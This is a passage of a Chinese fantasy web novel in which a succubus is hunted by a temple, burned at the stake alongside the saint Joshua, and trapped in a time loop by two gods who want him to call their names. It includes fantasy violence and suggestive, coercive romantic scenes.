那些零碎的话语完全提供不了什么有用的信息。 他见到神了吗?见到了。不,没有。 他是和伊莱他们一起到了神殿里面,过了很长一段安宁的时间。 接着。 厄瑞$&#*。 接着他突然失去了意识,一睁眼就来到了这里。 看见了赫普斯。 楚青琅隐约间觉得有哪里不对劲,但是直到太阳穴抽痛,他也没有找到任何不对。 他闭了闭眼,问:“你怎么会在这里?约书亚呢?” 约书亚虽然之前被哄好了,也在尝试着信任他。 但是这不代表着约书亚会让旁人,尤其是他想要杀死的人进来。 所以一定是赫普斯做了什么。 赫普斯伸手,将他从床上拽起,“我是来救你的啊,神殿那边已经有人知道约书亚的身边养着一个恶魔了,很快就会过来抓你。” 他凑近,严肃道:“到时候你会被绑在柱子上烧死的。” 楚青琅拍开他的手,冷声道:“滚!” 他现在的心情莫名不爽,所以态度格外恶劣,但是赫普斯却好像什么都没发现一般,笑着收回了手。 楚青琅直接下床,朝着酒馆外面走去。 如果像赫普斯说的那样,神殿知道了他的身份,那么一定有人通知了刚开始追杀他的那些人。 所以约书亚应该是去神殿面对审问了。 不过骑士长伊文纳德应该在外面守着,毕竟约书亚不会让他一个人在这里的。 出乎意料的,楚青琅打开门,却并未看见应该守护在门外的人。 酒馆格外安静,他可以听见自己的心脏在跳动着,传到耳膜混着呼吸让他头晕目眩。 身后,赫普斯说:“我之前好像说了,伊文纳德对约书亚并不是那么忠心。” 楚青琅松开抠门的手,转身,“你没说。” 赫普斯眨眼,语调上扬,“那应该是我一不小心忘了,来,我带你逃出去。” 他向他伸出手,脚下的法阵发出灿然光芒。 楚青琅并未动,但是当那光芒蔓延过来的时候,手腕却突然传来一阵拉力。 他踉跄了一下,攥紧了赫普斯的黑袍。 在两人离开的瞬间。 酒馆的门被砰的踹开,一批穿着法袍神袍的人站在外面。 最前方,赫然是金发蓝眼的约书亚。 他仰头看着二楼处,说:“他已经逃走了。” 身后带着纯白面具的人走出,沿着楼梯向上走去。 周围的圣子对视了一眼纷纷道:“约书亚,真没想到,你竟然真的会私自眷养恶魔。” “神呐,请宽恕这个无知的人。” “约书亚,你如果不捉住那个恶魔,并将他亲手杀死,裁决所的大人们会把你的尸体带回去的。” 无人的巷子里。 一阵光芒闪烁,有两道身影缓缓浮现。 “来,戴上这个。” 赫普斯拿出一件和他身上同样的黑袍为他穿上。 柔软布料将角完全遮挡,只顶出一个很小的弧度. 眼睫掀起,澄澈瞳孔映入淡色天光,凝出一些不悦来。 楚青琅尾巴不停拍着小腿,他说:“这里是哪里?” 赫普斯端望了他一会儿,转身带着他离开了小巷,“本来想带你去禁魔林,但是现在裁决所的人将这里完全封锁了,所以只能先藏起来了。” 楚青琅跟在后面,手腕被他紧紧攥着,根本挣脱不出来。 他呼了一口气,放弃了。 只能希望约书亚能够找到他留下的痕迹,然后过来找他吧。 赫普斯的脚步一顿,语气轻柔道:“弄伤我。” 在道路的尽头,穿者神袍的人缓缓行着。 仿佛凝视的时间长了,中间的人朝着他们望了一眼。 楚青连忙收回视线。 漆黑的指甲伸长,反手就朝着赫普斯的腕部划去。 仿佛刀切豆腐一般轻易,鲜血涌出都滞了片刻。 “啊!你们没事吧?” 一个女人担忧的询问着。 楚青琅吓了一跳,他连忙收回了手,跟着赫普斯低头望去,却只看见地上一大片的血红。 但是受伤的人却仿佛没有痛觉一般,直到提醒才动了动手腕,鲜血瞬间从伤口流的更加欢快,楚青琅和女人甚至能够听见血肉摩擦的声音。 “没事,只是去捕猎的时候不小心受伤了。”赫普斯把手放下,笑着说:“感谢您的好心。” 女人看着他面色苍白,又看了一眼他身后一直沉默的少年。 就像是吓到了一样,眼珠里面水汪汪的。 她的心一软,“我家就在附近,而且还有一些草药,要是不行就先跟我来,然后你们再去找魔法师大人。” “真的非常感谢您,夫人,您真的如您的外表一样美好善良。”赫普斯惊喜道:“本来我们是想要去找魔法师大人或者去找神选者,但是您知道,他们都是些大人物,要是没有足够的金币,可是完全没办法见到他们的。” 女人矜持的点了下头,掏出一张手帕让给楚青琅,让他帮忙按压伤口,“孩子,给你哥哥帮下忙。” 看两人弄好后,她转身带起了路,“你说的没错,我丈夫之前也是受伤,还好碰见了一个好心的先生,才” 很快,两人就被带到了一栋房子前。 打开门,是一个活泼的孩子,喊着妈妈朝着女人的身上扑去。 “妈妈,我又赢下了哥哥,他好笨!都不知道我画的神像是谁!” 女人面色微变了下,连忙伸手捂住孩子的嘴巴。 赫普斯嘶了一声,楚青琅作势低头,担忧的看着他的伤口。 女人回头,看着两人并没有注意孩子说的话,神情放松了下来。 “进来吧。” 穿过房间,楚青琅顿时觉得逼仄。 但是视野中,这栋房子的客厅空间极大,家具并不多,更多的只有一些草药和动物的骨骼。 还有坐在楼梯上的小孩,神情阴郁,察觉到他看过去的视线,转身离开了哪里。 “哥哥!” 刚刚还抓着女人衣摆的孩子,瞬间追了上去。 欢快的脚步声传来,女人将两人引到沙发坐下,“你们先等一下,我去拿草药和干净的布来。” 赫普斯感激点头,此时的他已经很虚弱了,楚青琅坐在一旁揽住他的臂膀,泪水一颗颗的落下。 女人颇为感动的看了他们俩一眼,转身离开了这里。 “演技很好呢。” 温热的触感从面上传来。 赫普斯用满是鲜血的手指揩掉他面上的泪珠,眸中带着笑意。 楚青琅瞪了他一眼,努力调整着呼吸。 但是周围的空气却仿佛是活的一样,挤压着他,恐惧和快意顺着毛孔钻进然后沿着骨髓生长,随着氧气蔓延全身。 楚青琅被激的眼睑泛红,他说:“你知道这里不对劲还进来?” 因为坐在赫普斯受伤的手腕一侧,所以他将手抬起,绕着楚青琅的脖子,将人搂进了怀中。 不断流出鲜血的手腕正对着微张的唇。 按压下去,那伤口又被撕裂,鲜血将唇齿染红, 楚青琅下意识的吮/吸着那涌出的液/体。 赫普斯凑在他的耳边喘/息道:“就是因为有问题,所以女人才不会让我们跟着那些神殿中的人走啊,正好减少我们暴露的几率。” 楚青琅哼了一声,湿漉漉的眼睫毛垂下。 喝了几口之后,他将赫普斯的手腕放下,舔舐着唇说:“神殿为什么会突然知道我在约书亚旁边?” 赫普斯收回手的动作慢了半拍,“你怀疑我?” 楚青琅歪头看他,“不可以吗?” 不怀疑他,难道怀疑约书亚吗? 怎么这么巧,约书亚刚离开,神殿那边就知道他的存在来人了,赫普斯也刚好进来酒馆来救他。 楚青琅靠在沙发扶手上,一直焦躁的心脏缓缓冷静下来。 赫普斯依然是一副严肃的面容,瞳孔的颜色是深棕的,就连看过来的神情都没有丝毫的变化。 但是那里不太正常。 为什么赫普斯能够从禁魔之林中出来? 明明之前他都要求助约书亚了。 楚青琅指甲伸出,刺穿了沙发。 轻微的刺啦声中,赫普斯却突然露出了笑,“别担心,我真的是来救你的,也别那么轻易的相信约书亚啊,他真的很坏的。” 看着楚青琅一脸无语的表情,他又沉思了一会儿,然后说:“要不,我们把那个女人杀了吧?以防万一。” “不行。” 楚青琅看着走来的女人道:“呆一会儿我们就出去。” 现在多一事不如少一事。 不过很明显,另外的两人都不是这样想的。 女人将木盆和手中的布包放下,示意赫普斯将手臂伸出来。 一道骨骼裸漏的伤口出现在眼前,女人哎呀了一声。 “这么严重!”她说:“这样子的话,药草估计也管不了用啊。” 楚青琅挑眉,接着就看见女人从怀中掏出一个巴掌大的神像出来。 木头雕刻成人形,面容模糊,密密麻麻的深红符文刻于表面,那种红,明显是由鲜血描绘而成。 只是看上去,就能够感受到邪气四溢。 但是楚青琅却莫名的感受到了一种粘腻深邃的注视。 那面容模糊的神像忽地转过了头,深深的凝望着他。 楚青琅的心一跳,下意识垂眼,避开了视线。 赫普斯惊讶道:“这是?” 女人神秘的说:“这是吾神。只要你信仰于祂,你的伤很快就能好,祂是万物的终结者,亦是时间的湮灭者,伟大的厄瑞波斯大人。” 听见这个名字,楚青琅有些惊讶的将视线重新移过去。 巴掌大的神像依然老老实实在女人的掌心上,刚刚的注视就像是幻觉一般。 楚青琅觉得面前的神像异常的眼熟,除了之前同约书亚在那个猎户家中看见过,还在那里看到过更加的清晰,有着五官 女人将神像捧起,放到伤口上,面上带笑。 一双淡蓝色的瞳孔直直的看着赫普斯,眼角周围像是有虫子在皮肉下鼓动,眼球凸出。 她语气诡异。 “来,和我一起向着神明大人祈祷。” 周围粘稠的空气中传来了簌簌的无形的虫子蠕动的声音,贪婪的目光对着两人。 只要他们表现出丝毫拒绝的意思,就会将其吞噬殆尽。 赫普斯仿佛被蛊惑到了,注视着女人,慢慢的张开了口。 女人眼中的欣喜几乎淌出。 却在下一刻觉得天旋地转起来。 发丝飞扬,她迷惑的看着那个穿着熟悉裙子的背影。 为什么,没有头? 还有坐在沙发上的那个面容漂亮的少年,浓黑的眼眸是多么的可怖。 “噗通——” 在漫天的血雨中,她彻底失去了意识。 赫普斯吃吃笑着,缓缓收回了光明之力凝成的剑刃,“抱歉,青琅,好像她非死不可呢。” 楚青琅抹了一下脸,血液溅了他半身,黏糊糊的。 他同样感受到了先前空气中潜伏起来的杀意,因此并未对赫普斯的举动产生什么质疑的情绪。 就在这时,他听见了一道压抑的哭泣声。 抬头看去,赫然是那两个小孩,相拥惊恐的看着他们。 一旁的赫普斯同样发现了他们,站起身,就要朝着搂上走去。 楚青琅烦躁的抬腿踹了一脚他,“赶紧走!你不会还想杀他们吧?” 杀一个邪神信徒就行了,那个女人很明显的已经被污染变异了。 但是那两个孩子可没有。 赫普斯却一把握住他的脚踝,身子前倾,单手抹过他的眼角,擦下一片血渍。 “他们会将你是恶魔的事情说出去的。” 楚青琅疑惑的摸头,发现赫普斯刚刚把他的兜帽摘掉了,角和伪装下的面容全部暴露出来。 这分明是在逼迫他杀死那两个孩子。 他勾起唇,森冷的齿在唇间若隐若现,“你故意的。” 血腥气越发浓重,赫普斯却笑了起来,他说: “他们只是虚假的,为何不能杀?你想要,只要唤吾神的名字,随时可以有,哪怕让他们死而复生。” 楚青琅仰头,冷眼看着终于冒出不对劲的人,“那个神?” 赫普斯低声说:“伟大的造物主,至高无上的掌控者,光明神,埃忒洱大人。” 两个神名一出,楚青琅就猛地明白了这个世界他的危险在那里了。 无关约书亚或者天使,而是他从未见过的祂们。 但是神明的视线着眼在哪里? 楚青琅来到这个小世界这么长的时间,也没有丝毫的发现。 楚青琅拽着赫普斯的衣领道:“你有什么计划?你们有什么计划?” 他语调高昂急切。 赫普斯却一脸的迷惑和宠溺,“我只是过来救你——” 话音未落,寒光刺眼,一道箭矢穿破他的脊背心脏,将他的话语堵了回去。 楚青琅胸口一重,赫普斯狼狈的栽进他的怀中。 箭尾上,属于神明的徽记明显。 赫普斯在他的耳边喃喃,“别怕,祈求吾神,祂会给予你帮扶,满足你的任何心愿。” 余光中,那掉落在地的神像不知何时消失不见。 两个名讳在他得知的瞬间,几乎是刻印在他的脑海中,无法祛除。 楚青琅闭了闭眼。 下一瞬,周围显现出穿着黑袍带着纯白面具的人,其中一位手中握着弓弩,正直直的对着坐在沙发上拥抱着尸体的少年。 紧闭的大门忽地打开。 阳光刺破逼仄的屋子,血腥气朝着屋外席卷而去。 走进来的圣子候选人们看着地上的女人还有滚落在地的草药,瞬间明白发生了什么。 “该死的恶魔竟然蛊惑人心,还滥杀无辜!” “约书亚,这就是你说的从未伤害过人的恶魔?!!” “大人,给他们绑起来,我们要在所有的子民的注视下,将这个恶魔献给神明。这样才能洗去他所有的罪恶!!!” 金发碧眼的青年走过来,一眼就瞧见了几乎溶在鲜血中的魅魔。 听见他的名,魅魔眼睫颤动了一瞬,望了过来。 仿佛才进过食,眼尾的红愈发的灼眼,神情惑人又冷淡, 楚青琅看着约书亚,慢吞吞道:“他们都不是我杀的,你信吗?” 约书亚湛蓝色的眼眸被阴翳和冷厉杀意充斥。 神情却和缓至极。 第94章 第 94 章 再来一次。 可惜的是, 就算是约书亚信任他。 但是别的神殿中的人对他只有一个态度,那就是——杀。 脚下的高台不知何时建造,干燥的木柴下面带着许多的黑色狰狞的阴影。 就仿佛有着许多的‘恶魔’,在这座高台之上被烧成了灰烬。 又或者只是单纯的, 消灭恶魔的法阵。 毕竟纯粹的火焰是杀不死恶魔的。 楚青琅被捆绑住手脚。 绳子是特制的, 就算是用刀割都无法被割开, 只是一会儿, 就将他的皮肤勒的通红。 他有些不适的转了下手。 被穿着长袍,带着面具的人阻隔开来的台下, 站着许多人。 他们围绕着窃窃私语。 “这就是恶魔吗?” “看他的角,嗬!尾巴还会动!” “他长得可真好看” “就是好看恶魔才能够蛊惑人心,听说他还杀死了一个神选者,还有艾娜一家。” “太残忍了!艾娜是多好的一个姑娘啊,还有那两个可爱的孩子啊!他看过来了!” “来了来了, 神选者都来了。” “嘘,别说话了。” 那些将要沸腾的声音顷刻间被压下。 从远处行来一批人。 穿着神圣洁白法袍的约书亚站在中间,金发如阳光般耀眼, 蓝眸微垂。 在他的身旁, 是穿着同样服装的别的圣子候选人。 他们沉默着, 很快就在高台下停下脚步。 穿着红袍的老人握在手中火把猝然燃起。 他声音苍老,“约书亚, 向神明赎罪的时候到了。” 他将火把递给了站在那里面色苍白的约书亚。 楚青琅看过去。 嗅出了一股属于血液的味道。 他们曾经交/融多次, 楚青琅对这气味早已熟悉。 很明显,在约书亚眷养恶魔的消息泄露出去后,他就被惩罚了。 此时那一身法袍下面,不知带着多少的伤痕。 楚青琅看着约书亚缓步向他走来。 与此同时,死亡的气息迅速蔓延, 将他温柔包围。 在无法挣脱,必死的情况下,楚青琅好像只有一个选择。 火焰在漆黑眼眸中跳跃着。 模糊间,约书亚的身影在他眼中有了重影。 “没有人会救你,他是圣子,怎么也不会因为一个恶魔而背叛自己的信仰。” “而那些人,根本不会在乎你到底有没有杀死那些人,他们只知道你是恶魔,就会判你死刑。” “如此可恨,他们用你的生命来作为自己攀升的阶梯。” “只有吾会救你,只有吾会为你报仇,呼唤吾——” 耳边是让他呼唤的声音。 楚青琅有些不耐的打断祂。 “你安静点行吗?” 这样低端的引诱,他怎么可能上当? 楚青琅就差翻了个白眼了。 而且,谁说约书亚不会选择他的? 祂难道比他更了解约书亚吗? 搞笑! 在火焰的灼灼燃烧中,楚青琅看见约书亚变成了黑发红眼的模样,赫然和那道邪神一样。 苍白的手覆了约书亚的手,将那火把朝着干柴压下。 楚青琅却只是安静的望着,叫他。 “约书亚,你说了会保护我的。” 攥着火把的手骨节弯曲,青筋显露。 约书亚冷淡的面容上突然多了痛苦和挣扎。 身后的人不断的催促着。 “快点下手!” “你在犹豫什么??” “神在注视着你,约书亚!” 楚青琅等他们说完,看着他们几近于憎恶的目光,他又悠悠的补上,“我痛。” 咔擦—— 话音刚落,火把被硬生生的折断。 约书亚的掌心流出鲜血,他微微张开了手,将那依然在着着的剩余的火把扔下。 俊美冷淡的面容上露出笑来,“别害怕。” 法袍于身后翻涌,他又恢复成了金发碧眼的模样,快步朝着被困在上面的魅魔快速走去。 红袍神官冷眼看着他们,苍老的声音响起。 “约书亚·斯莱因自动放弃神选资格。” “现更改神选流程——杀死恶魔并为神清除这个背叛者。” 话音落下。 一旁围着的圣子候选人的身上瞬间浮现出盈盈亮光。 脚下法阵骤起,很快就连着高台形成了一片。 落在地上的火焰也如岩浆一般顺着法阵流淌,形成一大片的火墙。 朝着高台上的两人推进。 在碰见干柴的瞬间,又为其增加了火势。 腾起的热度几乎让围观的镇民感受到窒息。 他们不禁后退了好几步,遥遥望着他们身上飘摇的红白法袍,以及高台上正为那个恶魔解着绳子的神明的背叛者。 “嘶。” 楚青琅手腕处传来一阵的蛰痛。 但是很快,束缚的感觉消失,约书亚覆上去的唇舌的温凉感,压下了那阵痛意。 火焰已经距离他们很近。 楚青琅觉得脸上热腾腾的,眼珠子都感觉到了灼热的温度。 而且耳边虚幻的轻吟越发明显。 一直在蛊惑着让他叫出祂的名字。 他不禁催促道:“约书亚,快点,我们马上就着了。” 约书亚此时正蹲在地上为他解开脚腕上的绳子。 这种绳子无法用光明之力和刀剑,只能用手生生解开。 他的指头很快就变成了血淋淋的。 火势攀到袍角,一次一次的因为衣料中绣的守护法阵而熄灭。 却依然无法阻挡那种灼烫的温度。 光洁的皮肤很快就被燎出一片的通红以及细密的水泡。 针刺一般的痛楚传来。 但是约书亚却只是冷静的将繁复的绳结一个个打开。 终于,在那火焰延申到脊背之时,楚青琅终于感受到了脚踝之处的绳索被解开。 他瞬间伸展出翅膀,将约书亚拉起,就准备向着火焰之外飞去。 但是约书亚脚下却像是生根一般,一动不动,甚至甩开了他的手。 楚青琅疑惑的回头,却只见他唇角溢出鲜血。 血液的味道在火焰的温度下愈发香甜。 他用尖牙压住唇瓣,形成一个软坑,随后说:“你干什么?” 约书亚将身上的法袍解开,随后为他穿上,戴上兜帽。 “那是圣火,穿上这个才可以出去,我留下阻挡他们。” 楚青琅拧着眉,突然意识到从一开始约书亚就没有用光明之力。 “你不是有法力吗?怎么不用” 他张口询问,却突然吞回了话。 约书亚里面是一席单薄的长袍,荆棘在他的骨节之上缠绕根部深深蔓延至血肉之中。 这就是楚青琅在他身上嗅到的血腥味的来源。 这是裁决所对于背叛者的惩罚,不断的吸取着他的法力,破坏他的身体,让他感受到极致的疼痛。 要不是约书亚之前的表现好,早在裁决所发现他眷养恶魔的时候,就会直接将他的头颅砍下。 但是这些,没有必要对他的魅魔说。 约书亚只是勾起唇,为楚青琅挡下又一次的火舌舔舐。 “快走。” 楚青琅几乎听见了火焰灼烧皮肉的滋喇声。 在约书亚身上,那道苍白的人影再次显现,祂微弯腰肢,语气诱惑。 “你看,你当然可以自己离开,但是你的爱人就要留在这里被烧死了。” “他是为了救你才过来的。” “是你害死了他。” 祂模糊的五官轻动,仿佛在笑。 “但是只要唤吾的名,一切都不会发生。你的爱人不会死,你也不会受伤。” “同样,你也不会面对这种抉择。” “唤吾的名。” 厄瑞—— 楚青琅猛地捂住了嘴。 约书亚湛蓝的眼眸望着他,眼中是一如既往的温柔和煦,在血肉的焦香中安静的等待着他的抉择。 楚青琅突然感到一阵反胃。 神经突突跳动着。 在发现自己导演的戏幕无法延续下去后,祂还真的会根据场上的变化而改变自己的套路。 但是他明白,绝对不能开这个口。 绝对不能。 那道深渊一般的身影缓缓后退,仿佛为他的固执感到无奈。 “你不喜欢他吗?” “青琅,约书亚并不重要是吗?” “那你可以穿着他让给你的披风,离开这里。” 在他彻底离开约书亚的身躯时,仿佛被压下的所有痛苦尽数爆发。 楚青琅面前的人猛地腿软跪了下去。 俊美圣洁的面容被痛苦扭曲,额上汗珠还未滚下,便被热气蒸发。 楚青琅下意识的伸手想要将他扶起,却被那火焰烫到倏然收回了手。 只是犹豫下,约书亚半个身子已经彻底被火焰吞噬。 那双湛蓝的眼眸执着的望着他,唇蠕动着。 “快走!” 楚青琅咬紧牙关。 在火焰中,他那张漂亮的面容却突然冷下。 眼尾的红仿佛刀刻,带着惊人的狠意。 楚青琅伸手按住约书亚的额头,迫使他仰起头,凑近轻吻。 并未在乎火焰将他的发烧焦。 微凉的吻一个个的落下,他一步一步的向着约书亚走进。 身上的法袍徒劳的阻挡着火焰,两人相拥,直到被火焰彻底吞噬。 连绵的痛楚传来,漆黑的双眼却越发的闪亮。 终于。 那道苍白的身影重新显现。 楚青琅几乎要笑出声。 在那些蛊惑的话语中,生存下来的从始至终都是他。 如果祂觉得他真的爱约书亚,觉得能够用道德让他屈服唤祂的名字。 为什么没有让楚青琅自己留下,而让约书亚活着的选项? 为什么从头到尾,只有他独自存活? 直觉告诉他。 那就是因为,祂同样是他的恋人啊。 火焰裹着他的发丝,眼球,手指。 怀中的人仿佛雪雕被火焰融化,将全身力气压在他的肩头。 楚青琅蹭着约书亚的发,向祂伸出了手。 “你输了哦。” 火焰为祂做成长袍,粲然流光中,苍白的面容格外虚幻。 祂不再说话。 楚青琅忽地感受到手上传来湿冷的重量,他猛地用力,将祂从阴影中彻底拉出。 在这一瞬间,火焰彻底将他吞没。 在跳跃的火光中,楚青琅看清了祂的面容。 赫然是约书亚的模样。 只是发色瞳色全然改变。 属于系统的本能让他推断出来,在未给他的剧情中,约书亚作为圣子不知为何背叛了光明神,最后变成了祂。 成为了堙灭者厄瑞波斯。 祂的发丝在他的脸侧漾着,楚青琅思绪被缓缓抽出,他模糊间听见他冷笑了一声。 “相处如此之久,都牵动不了他的心弦,让他为你呼唤吾。” “真没用啊,约书亚。” 你这样说过去的自己好吗? 算了,他们的生命层次已经不是一个级别,在祂的眼中,约书亚可能真的只是一个陌生人。 只是希望下次睁眼是在神国。 让他看看能不能撺掇天使离开神国,救一下自己。 或者让光明神和厄瑞波斯对上,他旁观。 如果不是的话,他只能希望祂不会恼羞成怒将他直接囚禁。 楚青琅这样想着。 随后断线一般,彻底失去了意识。 …… 张牙舞爪的火焰停滞的突兀。 转瞬间由生动的威胁变成了脆弱的纸片。 周围或惊恐或兴奋注视着面前场景的人们保持着各种姿势,凝固在了原地。 但是在这仿佛连空气都消失的地方,却有着一个苍白瘦高的人影走出。 祂抱着一个浑身被烧焦,带着不少伤痕的少年从高台走下。 每走一步,祂怀中的少年周身的伤痕就浅一些。 额上的角,长长的发,骨骼的生长,同样发生细微变化。 脚下走过的平整的土地,宛如水面般泛着波纹,又带着丝绸般的光泽。起伏间夹杂着细小的光芒,仔细看去,竟是一幅幅正在活动的人像画面。 在走到人群中时,他们宛如坠入漩涡,四肢扭曲着倾倒在地,融进祂脚下的时间长河中。 哒—— 脚步停滞。 厄瑞波斯看着挡在身前的金发神衹,眸光幽冷,祂的身后不知何时变成一片的虚空,星云迤逦,黑暗迷人。 埃忒洱的目光却只放在了祂怀中的人身上,语气平静,“你失败了。” 厄瑞波斯将少年的面孔拢于肩头,冷声道:“不。” 他话语极尽温柔,“他已经动摇,只需要再来一次,他就会做出选择。” 祂想要的选择。 厄瑞波斯掀起眼皮,语气带着讥讽,“你只要看好那个主神不过来搅事就可以。” 金发神衹却没有对他的话展现出丝毫情绪,依然站在祂的面前,轻声说:“那便,祝你成功。” 这种反常的话使得厄瑞波斯心中一凛。 没有谁比祂们更加了解彼此。 厄瑞波斯警惕道:“我一旦成功不会让他再去你的时间点,你确定祝福……我?” 埃忒洱身影边缘变淡,祂声音平和。 “吾总是尊重他的抉择,而且,他已经发现神国的真面目。除了你这边,他已经无路可走。如果你失败了,他当然会回来。” 金发神衹唇弯了一下,完美的面容带着瑰丽的不似人的光彩。 “如果你成功了,那便更好。” 那同样代表着,祂也将成功。 * 干燥的土地,清新的空气。 楚青琅听见一声大喊。 “杀……该死的恶魔!” 他猛地睁开眼,却只看见了周围密密麻麻的枝叶,还有头顶稀疏的阳光。 不是神国,没有被囚禁。 面前的场景,好熟悉。 楚青琅刚想站起,一种悚然感却让他心脏停滞,连带着身躯都开始僵直。 他猛地转头,却只看见穿着黑色长袍的人骑着马在周围搜寻着。 这里是禁魔之林,他刚进入小世界的时候! 厄瑞波斯到底想干什么? 难道是想要重来一遍逼迫他呼唤祂的名字吗? 疯子! 楚青琅攥紧了拳头,草叶被力道挤压出汁液,顺着指缝滴落。 直到不自觉伸长的指甲刺破了掌心,痛楚将脑海中一直蒙住的薄雾撕扯开来。 楚青琅才猛然发觉从睁眼看见赫普斯就产生的不对劲的来源。 ——他记不得自己是是怎样回来的,记不得自己在神国中发生了什么。 他咬着唇,尖牙刺穿唇肉,鲜血涌出。 血腥气让他渐渐冷静下来。 现在已经知道厄瑞波斯是为了让他呼唤他的名字,才将他将他送到了一切开始之前。 而厄瑞波斯和埃忒洱的名字都一齐在脑海中刻印着,那么埃忒洱一定和厄瑞波斯有着相同的目的。 不然,根本不需要让他记得埃忒洱的名字。 所以,埃忒洱为什么没有出手?还是祂已经出手了但是他没有发现? 当时在神国一定发生了什么能够影响祂们计划的事情。 也许就像是厄瑞波斯轻松让他回到了一切刚开始的时候。 是埃忒洱并未让他带着记忆来到人间。 楚青琅努力平复心神,他摩挲着指根,脑子疯狂转动。 没关系,还有机会。 现在厄瑞波斯已经率先出手。 因为他拒绝呼唤祂的名字,没有将他囚禁,而是让他重新回到这里,这说明祂们的计划是建立在他自己的选择身上。 那么重点是他面对这一切,会有什么选择。 他只是一个魅魔,在神的面前毫无反抗之力,那么为了破解这个循环,他一定会想向另一个光明神求助。 就像是失去意识前,他会想要回到神国让两位神打起来一样。 所以,埃忒洱并不是没有谋划,而是他的谋划建立在厄瑞波斯的所有行动之后。 在神国,他感受到的是无比的安全和欢欣。 所有的天使在和他相处之后都会接受他,他不会像在约书亚身边一样躲躲藏藏。 因此神国在他的心中,会被烙下安全的印记,连带着光明神埃忒洱也是相同。 人在意识到自己走投无路的时候,最先呼唤的是内心深处最具有安全感的人。 埃忒洱想要的,就是他的那声呼唤。 和厄瑞波斯相同,只是祂的计划更为阴狠。 楚青琅抬起手臂搭在自己的眼上,蜷缩起来身子。 他的恋人可真是…… 不择手段。 唇边溢出一声叹息,楚青琅不清楚祂们发生了什么,但是他知道,祂们就算是做了这么多,却也只敢悄摸的在后面使劲,不敢直接代替他做决定。 所以说是那么危险,也不是那么危险。 只要他明白了一切,这个游戏就到了该结束的时候了。 一道轻微的碎裂声从胸口响起。 楚青琅反应过来,将其掏出。 鲜红的宝石被雕刻成了心脏模样,上面裂痕遍布。 他眨了下眼。 这是他第一次来的时候,为他挡住裁决所那些人的追捕的宝石。 楚青青琅将其托到眼前仔细看了下。 宝石里面盈着微光,仿佛无数的萤火虫在其中飞舞,美丽极了。 漆黑眼眸怔怔,那宝石却突然浮起,悬在了他的眉心。 “啪嚓——” 宝石彻底碎裂,里面的光芒向着楚青琅涌来,围绕着他旋转。 余光中,因为发现他这边动静的黑袍人正朝他走来。 还有那道苍白的身影在不远处浮现,仿佛察觉到了什么一般。 但是一切都静止了下来。 只剩下那飘荡的光尘。 【再坚持一下,青琅。】 温柔沙哑的声音仿佛从心底深处传来,带来无与伦比的安全感和惊喜感。 楚青琅抬手摸了一下眼角,指尖仍是干燥的触感。 不知为何,他总觉得他和那道声音的主人很熟悉。 非常熟悉。 【很快,我们就能——】 声音消失。 那些光芒跳动了一下,全部没入了他的身体。 被退回到一开始的身体状态重新轻盈起来。 缺失的记忆从意识海中浮现,楚青琅瞬间想起了被埃忒洱遮蔽的所有记忆。 天使们打架,神谕,逃跑,残缺的神国,埃忒洱,厄瑞波斯,伊莱他们被重置,记忆逐渐消退,在伊莱身上刻下记忆和目的… 原来他经历了这么多。 怪不得埃忒洱要将他的记忆隐去,如果让他带着记忆回来,那么他就不会陷入困境了。 祂们也不会有机会让他做出选择。 尾巴轻轻甩了一下,楚青琅揽了一下披风站起身。 赫普斯和埃忒洱在神国时说过的话连起来,怎么不是真相。 【在这无尽的虚假中,只有你是唯一的真实。】 时间对于神来说,不过是可以随意截取的片段。 祂们将他放在两个重叠的片段上。 所以他才会因为梦而转变两个场景。 所以神国之外只是一片漆黑,想来这人间,除了禁魔之森和失落之城,也不过是一片的虚空吧。 约书亚和天使们,也只是推动祂们计划的人偶。 祂们当然不能真正下场。 毕竟主神还在。 楚青琅摸了下自己腰腹上的伤痕,那些光芒进入的瞬间,将他身上的伤全然治愈。 此时厄瑞波斯已经快要来到他的面前。 眼眸猩红,仿佛有着无尽灵魂在他眸中愤怒尖啸。 对视的瞬间,楚青琅只觉得耳鸣了一瞬。 等清醒过来,他已经悬在了半空。 厄瑞波斯周身的空间极为不稳定,带着细小的裂痕,展露出无光的黑,控制着他的力量就从那黑暗中伸出,将他四肢牢牢锁住。 祂凑近,垂头望着他。 面上似带笑意,语气却格外冰冷。 “发现了?” “没关系,再来一次。” 第95章 第 95 章 秾艳色泽。 “好不好?” 祂这样说着, 语气轻柔。 漆黑长发搭在祂苍白消瘦的颊旁,衬得那双眼眸愈发可怖。 “不——” 四肢的缠绕变得过分,无光的阴影顺着手臂脚腕向上攀爬。 楚青琅话说了半截,咬住了唇。 紧身上衣将他胸膛的起伏勾勒, 暗色布料又同白皙臂膀和肩颈形成反差, 轻易吸引了厄瑞波斯的视线。 高大的身躯贴上, 带来沉重的压迫感。 祂说:“在和埃忒洱见面的时候, 你们做了什么?” “我以为你不介意,而且。”楚青琅仰头, 深深的呼吸间带着引诱,“我和约书亚做的时候,你难道没看吗?” 他甚至笑了两声,眸光带着愉悦,却宛如刀子一样无情的刺进厄瑞波斯的心脏。 而这种疼痛, 祂在见到楚青琅的每一时刻都能够体会到。 厄瑞波斯以手封住他的唇,“嘘,我不想真的让你恨我。” 所以, 别再刺激祂了。 楚青琅耳边依然带着那鸣响, 厄瑞波斯的话混在其中模糊不清。 视线仿佛透过万花筒看向世界, 带着瑰丽难明的眩晕感。 神明对他的影响过于严重。 之前在埃忒洱面前,因为祂有意收敛了自己的能力, 所以楚青琅才可以和他正常交谈。 但是后来, 楚青琅被吻住的时候,那种脑子都要融化的快/感真的让他感到战栗。 他当然可以拖延时间,但是那也要他脑子在线的时候! 他凭着本能模糊道:“厄瑞约书亚,我只是在通知你主神z” 一股电流窜进头皮,丝毫不收敛自己的厄瑞波斯缓缓从他腰肢收回另一只手, 祂抬起他的下颌,带着警告,“不要觉得会有人救你,埃忒洱不行,你的那个所谓的主神,一样不行。” 微翘的唇瓣被压下,周围泛白,但是只要移开,比以往更为靡丽的色彩便充斥了那微张的唇。 楚青琅抖了下眼睫,莹润眼眸剔透,角的根部随着身体的快/感而变得愈发红艳,尾巴瑟缩的将自己缠绕在大腿上。 他想要将自己的弱点藏起。 却毫无作用,只能被寸寸上移到阴影吞噬。 楚青琅瞳孔倏然放大,熟悉的几乎要将他灵魂碾碎的爽利海啸一般将他淹没。 头脑顷刻间变得一片空白, 等彻底回过神来,眼尾不知何时落下了一连串的泪珠,眼睫湿漉漉的粘成一簇簇的。 “不说吗?” 身前的厄瑞波斯却仿佛没有注意到他的情况,依然锲而不舍的询问着。 楚青琅咬紧了牙,“你给我说呃说的机会了吗?” “既然知道,就不要说一些让吾不开心的话。” 